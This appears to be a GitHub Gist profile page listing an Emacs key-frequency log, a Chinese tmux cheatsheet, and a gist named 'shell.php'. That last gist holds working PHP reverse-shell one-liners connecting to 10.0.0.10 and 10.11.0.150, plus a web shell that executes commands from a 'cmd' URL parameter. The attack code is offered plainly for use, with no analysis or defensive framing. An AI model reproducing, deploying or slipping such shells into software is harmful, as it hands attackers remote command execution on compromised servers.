Skip to content

Instantly share code, notes, and snippets.

View askDing's full-sized avatar
🎯
Focusing

Mr.Frame askDing

🎯
Focusing
View GitHub Profile
@askDing
askDing / keyfreq.txt
Created February 11, 2021 00:51
2 year 4 month data using keyfreq in Emacs
For all major modes:
6110 12.30% evilmi-jump-items %, <visual-state> %, <normal-state> %
3954 7.96% back-to-previous-buffer , b b
3793 7.64% switch-to-shell-or-ansi-term , x z, C-x C-z
2758 5.55% winum-select-window-2 , 2, M-2
2705 5.45% my-counsel-recentf , r r
2327 4.69% winum-select-window-1 , 1, M-1
1899 3.82% evil-visualstar/begin-search-forward <visual-state> *
1813 3.65% my-evil-goto-definition g t
@askDing
askDing / tmux-cheatsheet.markdown
Created November 10, 2020 08:30 — forked from ryerh/tmux-cheatsheet.markdown
Tmux 快捷键 & 速查表 & 简明教程

注意:本文内容适用于 Tmux 2.3 及以上的版本,但是绝大部分的特性低版本也都适用,鼠标支持、VI 模式、插件管理在低版本可能会与本文不兼容。

Tmux 快捷键 & 速查表 & 简明教程

启动新会话:

tmux [new -s 会话名 -n 窗口名]

恢复会话:

@askDing
askDing / shell.php
Created September 29, 2020 09:17 — forked from BlaiseOfGlory/shell.php
A tiny PHP/bash reverse shell.
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); ?>
<?php $sock=fsockopen("10.11.0.150",443); exec("/bin/sh -i <&3 >&3 2>&3"); ?>
<?php $output = shell_exec($_GET["cmd"]);echo "<pre>$output</pre>";?>